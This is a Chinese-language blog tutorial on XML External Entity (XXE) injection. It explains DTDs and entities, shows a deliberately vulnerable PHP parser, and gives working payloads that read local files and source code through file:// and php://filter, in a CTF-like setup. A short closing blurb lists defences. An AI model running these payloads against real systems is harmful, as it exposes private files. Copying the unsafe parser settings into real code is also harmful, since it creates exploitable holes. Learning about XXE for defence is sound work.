XXE(1)

XXE简介

XXE:全称XML External Entity Injection,即XML外部实体注入漏洞

知识点

1、XML
2、DTD,这个是最重要的
简介:
(1)内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
例如:
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

(2)外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

下面的实体在 XML 中被预定义:
实体引用  字符
&lt;  <
&gt;  >
&amp;   &
&quot;  "
&apos;  '

在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:
<!ELEMENT 元素名称 类别>
或者
<!ELEMENT 元素名称 (元素内容)>

(3)XXE利用重点:实体
(3)-1:简介
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

(3)-2:一个内部实体声明

语法:
<!ENTITY 实体名称 "实体的值">

例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:
<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

(3)-3:一个外部实体声明

语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:
<author>&writer;&copyright;</author>

(3)-4:补充
带有任何内容的元素
通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 元素名称 ANY>
例子:
<!ELEMENT note ANY>

理解下面的代码含义:这是POST提交的
上面是一个XXE攻击的Payload
<?xml version="1.0" encoding="utf-8"?>//xml格式必备
<!DOCTYPE root [	(注):内部的DOCTYPE声明,声明一个root根元素
<!ELEMENT root ANY >	(注):定义root根元素的子元素可以是任何组合
<!ENTITY xxx SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" >	(注):声明一个xml代码外的外部实体名叫xxx,SYSTEM后面的是它的值
  ]>	(注):闭合

<root>	(注):XML代码的根元素,也就是上面DTD中的root根元素,这个必须一样,因为上面的DTD就是检查下面的XML代码的
  <user>&xxx;</user>	(注):XML代码的子元素user,&xxx,表示在XML代码内部执行外部DTD的实体函数xxx
  <pass>mypass</pass>	(注):XML代码的子元素pass
</root>	(注):闭合根元素

外部实体注入举例

有回显读取本地文件
漏洞代码:

 <?php
libxml_disable_entity_loader (false);
show_source(__FILE__);
$xmlfile = file_get_contents('php://input');
echo '<br>';
if(strlen($xmlfile)>0){

    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $user = $creds->user;
    $pass = $creds->pass;

    echo "You have logged in as user $user";
}
?>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [	//foo名称随意
    <!ENTITY xxe SYSTEM "file:///F:/flag.txt" >		//xxe名称随意
    ]>
<root>		//xml根元素名称随意,但必须要有(在当前漏洞源码环境下)
<user>&xxe;</user>		//xxe名称和上面的名称对应,在这里xml中的子元素user和漏洞源码中的对应,不可修改为其它
</root>

有些文件中有<、>等实体,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
    ]>
<root>
    <user>&file;</user>
</root>

特别注意:

实体名称命名不能以数字开头,例如上面的xxx
使用bp时,需要添加Content-Type: application/xml
payload中xml的根元素
xml形式的数据传输e.g:<user>admin</user>

浅显地了解了xxe,后续再深入研究。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
PentesterLab XXE是一个关于XML注入(XXE)的培训平台,它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞,利用XML解析器对外部实体的处理不当,使攻击者能够读取本地文件、执行远程请求等。通过学习和实践,可以帮助开发人员和安全专家了解并防范XXE漏洞的风险。在PentesterLab XXE的课程中,可以学习到XXE漏洞的原理、漏洞代码编写、利用任意文件读取等技术,以及防御XXE漏洞的策略。对于防御XXE漏洞,可以采取禁用外部实体加载的方法,如在PHP中使用libxml_disable_entity_loader(true),在Java中使用setExpandEntityReferences(false),在Python中使用etree.XMLParser(resolve_entities=False)等。此外,对用户提交的XML数据进行过滤,过滤掉可能存在XXE漏洞的关键词,如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等。通过学习和实践,可以提高对XXE漏洞的识别能力和防御能力。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [XML 外部实体注入---XXE](https://blog.csdn.net/weixin_45677145/article/details/111638708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值